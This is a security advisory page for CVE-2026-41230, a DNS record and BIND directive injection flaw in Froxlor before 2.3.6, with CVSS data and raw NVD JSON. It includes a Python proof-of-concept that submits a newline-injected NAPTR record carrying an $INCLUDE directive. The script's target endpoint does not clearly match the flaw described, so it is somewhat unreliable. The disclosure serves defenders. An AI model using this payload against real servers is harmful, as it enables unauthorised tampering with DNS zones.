Security Vulnerability Report
中文
CVE-2026-41230 CVSS 8.5 HIGH

CVE-2026-41230

Published: 2026-04-23 04:16:20
Last Modified: 2026-04-27 17:01:11

Description

Froxlor is open source server administration software. Prior to version 2.3.6, `DomainZones::add()` accepts arbitrary DNS record types without a whitelist and does not sanitize newline characters in the `content` field. When a DNS type not covered by the if/elseif validation chain is submitted (e.g., `NAPTR`, `PTR`, `HINFO`), content validation is entirely bypassed. Embedded newline characters in the content survive `trim()` processing, are stored in the database, and are written directly into BIND zone files via `DnsEntry::__toString()`. An authenticated customer can inject arbitrary DNS records and BIND directives (`$INCLUDE`, `$ORIGIN`, `$GENERATE`) into their domain's zone file. Version 2.3.6 fixes the issue.

CVSS Details

CVSS Score
8.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:N/I:H/A:L

Configurations (Affected Products)

cpe:2.3:a:froxlor:froxlor:*:*:*:*:*:*:*:* - VULNERABLE
Froxlor < 2.3.6

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# PoC for CVE-2026-41230: Froxlor DNS Record Injection # This script demonstrates how a low-privileged user can inject BIND directives. import requests def exploit(target_url, session_cookie): headers = { "Cookie": f"PHPSESSID={session_cookie}", "Content-Type": "application/x-www-form-urlencoded" } # Using 'NAPTR' type to bypass the specific validation logic in older versions # Injecting a newline character (\n) to break out of the current record structure # Adding a malicious $INCLUDE directive to load an external zone file payload_content = "10 100 \"S\" \"SIP+D2U\" \"\" _sip._udp.example.com.\n$INCLUDE /tmp/malicious.zone" data = { "type": "NAPTR", "record": "example.com", "content": payload_content, "ttl": "3600", "action": "add" } try: response = requests.post(f"{target_url}/admin_domains.php", data=data, headers=headers) if response.status_code == 200: print("[+] Payload sent successfully. Check the BIND zone file for injection.") else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[!] Error: {e}") # Usage: exploit("http://target-froxlor", "valid_session_id")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-41230", "sourceIdentifier": "[email protected]", "published": "2026-04-23T04:16:19.783", "lastModified": "2026-04-27T17:01:11.480", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Froxlor is open source server administration software. Prior to version 2.3.6, `DomainZones::add()` accepts arbitrary DNS record types without a whitelist and does not sanitize newline characters in the `content` field. When a DNS type not covered by the if/elseif validation chain is submitted (e.g., `NAPTR`, `PTR`, `HINFO`), content validation is entirely bypassed. Embedded newline characters in the content survive `trim()` processing, are stored in the database, and are written directly into BIND zone files via `DnsEntry::__toString()`. An authenticated customer can inject arbitrary DNS records and BIND directives (`$INCLUDE`, `$ORIGIN`, `$GENERATE`) into their domain's zone file. Version 2.3.6 fixes the issue."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:N/I:H/A:L", "baseScore": 8.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "availabilityImpact": "LOW"}, "exploitabilityScore": 3.1, "impactScore": 4.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-93"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:froxlor:froxlor:*:*:*:*:*:*:*:*", "versionEndExcluding": "2.3.6", "matchCriteriaId": "9A9C896A-1305-4134-850E-4B44962A6C0A"}]}]}], "references": [{"url": "https://github.com/froxlor/froxlor/commit/47a8af5d9523cb6ec94567405cfc2e294d3a1442", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/froxlor/froxlor/releases/tag/2.3.6", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://github.com/froxlor/froxlor/security/advisories/GHSA-47hf-23pw-3m8c", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory", "Mitigation"]}, {"url": "https://github.com/froxlor/froxlor/security/advisories/GHSA-47hf-23pw-3m8c", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Vendor Advisory", "Mitigation"]}]}}